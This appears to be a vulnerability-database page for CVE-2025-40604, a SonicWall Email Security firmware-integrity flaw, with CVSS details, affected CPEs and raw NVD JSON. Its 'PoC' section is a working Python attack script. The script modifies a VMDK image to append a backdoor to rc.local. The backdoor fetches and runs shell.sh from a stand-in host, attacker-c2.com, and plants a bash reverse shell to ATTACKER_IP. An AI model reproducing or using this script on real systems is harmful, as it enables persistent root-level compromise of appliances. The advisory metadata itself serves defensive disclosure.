Security Vulnerability Report
中文
CVE-2025-40604 CVSS 9.8 CRITICAL

CVE-2025-40604

Published: 2025-11-20 15:17:29
Last Modified: 2025-12-12 15:44:05

Description

Download of Code Without Integrity Check Vulnerability in the SonicWall Email Security appliance loads root filesystem images without verifying signatures, allowing attackers with VMDK or datastore access to modify system files and gain persistent arbitrary code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sonicwall:email_security_appliance_5000_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:email_security_appliance_5000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:email_security_appliance_5050_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:email_security_appliance_5050:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:email_security_appliance_7000_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:email_security_appliance_7000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:email_security_appliance_7050_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:email_security_appliance_7050:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:email_security_appliance_9000_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:email_security_appliance_9000:-:*:*:*:*:*:*:* - NOT VULNERABLE
SonicWall Email Security (所有未修补版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40604 PoC - SonicWall Email Security VMDK Image Modification # This PoC demonstrates how to modify VMDK image to inject malicious code import sys import os def mount_vmdk(vmdk_path): """Mount VMDK image using qemu-nbd""" print(f"[*] Mounting VMDK: {vmdk_path}") os.system(f"qemu-nbd -c /dev/nbd0 {vmdk_path}") os.system("mount /dev/nbd0p1 /mnt/vmdk_mount") return "/mnt/vmdk_mount" def inject_backdoor(mount_path): """Inject malicious code into system startup""" print("[*] Injecting backdoor into startup scripts...") # Inject into rc.local or systemd service rc_local = f"{mount_path}/etc/rc.local" backdoor_code = '''#!/bin/bash # Malicious code injected by CVE-2025-40604 exploit wget -q http://attacker-c2.com/shell.sh -O /tmp/.hidden && chmod +x /tmp/.hidden && /tmp/.hidden & ''' with open(rc_local, 'a') as f: f.write(backdoor_code) # Create reverse shell script shell_script = f"{mount_path}/tmp/.hidden" reverse_shell = '''#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 ''' with open(shell_script, 'w') as f: f.write(reverse_shell) print("[+] Backdoor injected successfully") def unmount_vmdk(): """Unmount VMDK image""" print("[*] Unmounting VMDK...") os.system("umount /mnt/vmdk_mount") os.system("qemu-nbd -d /dev/nbd0") def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <path_to_vmdk>") sys.exit(1) vmdk_path = sys.argv[1] if not os.path.exists(vmdk_path): print(f"[-] VMDK file not found: {vmdk_path}") sys.exit(1) try: mount_path = mount_vmdk(vmdk_path) inject_backdoor(mount_path) finally: unmount_vmdk() print("[+] Modified VMDK ready for deployment") print("[*] When device boots with this image, backdoor will execute with root privileges") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40604", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:28.750", "lastModified": "2025-12-12T15:44:04.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Download of Code Without Integrity Check Vulnerability in the SonicWall Email Security appliance loads root filesystem images without verifying signatures, allowing attackers with VMDK or datastore access to modify system files and gain persistent arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:email_security_appliance_5000_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.33.8195", "matchCriteriaId": "7A1B8BFC-9721-491D-B803-1571D0702596"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:email_security_appliance_5000:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA9126B7-5C64-4692-954C-6EF71261862C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:email_security_appliance_5050_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.33.8195", "matchCriteriaId": "8E47DFE3-0731-4E63-99B4-14EBE778BB92"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:email_security_appliance_5050:-:*:*:*:*:*:*:*", "matchCriteriaId": "271F06DD-8DAA-46EF-A803-659EA253CC63"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:email_security_appliance_7000_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.33.8195", "matchCriteriaId": "24C2A297-95A8-48ED-BACC-81E8B7E85681"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:email_security_appliance_7000:-:*:*:*:*:*:*:*", "matchCriteriaId": "A114E829-5FC6-4321-8D28-C63EC09F9099"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:email_security_appliance_7050_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.33.8195", "matchCriteriaId": "5CD71CC1-27B3-4782-85A7-6D6F17C20A5E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:email_security_appliance_7050:-:*:*:*:*:*:*:*", "matchCriteriaId": "443B635B-6B08-479B-A635-26724B192BF0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:email_security_appliance_9000_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.33.8195", "matchCriteriaId": "C95DDA2E-E2DC-4F98-9901-0A10E7D0A168"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:email_security_appliance_9000:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2434930-79AB-4AA9-AAC8-B116F3CD5CC0"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0018", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}